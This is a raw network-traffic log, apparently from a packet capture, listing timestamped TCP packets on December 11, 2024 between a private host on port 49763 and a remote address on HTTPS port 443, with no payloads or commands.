Dec 11, 2024 12:45:39.051775932 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.051779032 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.051845074 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.052016020 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.053508997 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.053520918 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.053823948 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.053826094 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.053992987 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.055557966 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.055569887 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.055744886 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.055747986 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.055835962 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.056082964 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.057838917 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.057851076 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.058047056 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.058049917 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.058063984 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.058204889 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.058209896 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.058542013 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.276149988 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.276163101 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.276266098 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.276420116 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.276437044 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.276464939 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.276559114 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.278146982 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.278183937 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.278390884 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.278409958 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.278466940 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.278666019 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.280102015 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.280141115 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.280383110 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.280402899 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.280430079 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.280580997 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.282026052 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.282062054 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.282288074 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.282303095 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.282610893 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.284032106 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.284069061 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.284240961 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.284260035 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.284337044 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.284549952 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.286573887 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.286612034 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.286947966 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.286963940 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.286993027 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.287138939 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.288331985 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.288369894 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.288562059 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.288584948 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.288809061 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.288963079 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.290232897 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.290276051 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.290395975 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.290575027 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.290575027 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.290591955 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.290769100 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.292241096 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.292279005 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.292521000 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.292548895 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.292711020 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.292857885 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.293159962 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.293391943 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.295160055 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.295196056 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.295485020 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.295504093 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.295810938 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.297400951 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.297437906 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.297588110 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.297785044 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.297799110 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.298075914 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.299417019 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.299457073 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.299557924 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.299634933 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.299653053 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.299793005 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.299901962 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.301381111 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.301419020 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.301672935 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.301691055 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.301919937 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.303163052 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.303304911 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.303508043 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.303524017 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.303692102 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.303740025 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.513550997 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.513566971 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.513642073 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.513820887 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.513848066 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.513870955 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.514112949 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.515440941 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.515486956 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.515727997 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.515764952 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.515923023 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.517365932 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.517410040 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.517571926 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.517596006 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.517636061 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.517780066 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.519309044 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.519354105 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.519521952 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.519521952 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.519551992 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.519576073 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.519778013 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.521404028 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.521446943 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.521687984 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.521712065 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.521845102 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.523273945 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.523317099 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.523577929 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.523602962 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.523734093 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.525751114 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.525793076 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.525928020 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.526058912 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.526082039 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.526254892 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.527551889 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.527601957 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.528220892 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.528220892 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.528220892 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.528244972 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.528373957 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.529510021 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.529561996 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.529659033 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.529709101 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.529726982 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.529844046 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.529907942 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.531492949 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.531546116 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.531764030 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.531794071 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.531963110 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.531963110 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.532330990 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.532670021 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.534759045 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.534809113 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.534940004 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.535016060 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.535048008 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.535264969 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.536715984 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.536766052 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.536982059 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.537030935 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.537049055 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.537355900 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.538640976 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.538686991 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.538916111 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.538940907 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.539238930 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.540546894 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.540591002 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.540786982 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.540812969 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.540863037 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.541007996 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.542993069 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.543035984 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.543313026 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.543334961 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.543623924 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.543919086 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.544142008 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.754317045 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.754332066 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.754451990 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.754489899 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.754699945 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.754734993 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.754957914 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.756223917 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.756268978 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.756383896 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.756433964 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.756447077 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.756535053 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.756688118 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.760082006 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.760127068 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.760283947 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.760310888 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.760373116 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.760545015 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.762047052 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.762090921 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.762306929 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.762341022 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.762458086 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.762509108 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.764041901 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.764085054 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.764276981 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.764341116 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.764368057 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.764509916 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.765952110 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.765994072 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.766262054 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.766297102 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.766319036 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.766586065 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.767904043 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.767952919 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.768205881 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.768235922 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.768414021 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.770513058 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.770539045 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.770699024 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.770880938 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.770905018 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.771217108 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.772187948 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.772214890 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.772522926 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.772548914 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.772675037 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.774147987 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.774175882 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.774445057 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.774468899 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.774614096 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.776078939 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.776104927 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.776380062 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.776401997 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.776705027 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.777055979 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.777343988 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.779392004 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.779418945 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.779567003 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.779637098 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.779650927 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.779711008 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.781371117 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.781402111 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.781569958 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.781569958 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.781595945 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.781678915 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.781857014 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.783272982 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.783298016 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.783508062 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.783695936 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.783695936 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.783721924 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.785237074 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.785267115 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.785394907 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.785412073 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.785484076 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.785680056 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.787463903 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.787491083 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.787705898 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.787731886 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.787806988 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.789752960 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.789783001 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.789982080 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.790003061 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.790035009 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.790666103 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.790754080 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.790796041 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.790817022 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.790926933 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.996478081 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.996507883 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.996794939 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.996813059 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.997220993 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.998399973 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.998429060 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.998723984 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:39.998744011 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:39.999154091 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.000339985 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.000368118 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.000610113 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.000632048 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.000695944 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.000940084 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.002321005 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.002347946 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.002578974 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.002599001 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.002626896 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.002883911 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.004290104 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.004317045 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.004430056 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.004482985 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.004503012 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.004576921 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.004848003 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:40.006795883 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.006823063 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:40.006963968 CET	49763	443	192.168.11.20	172.67.128.139
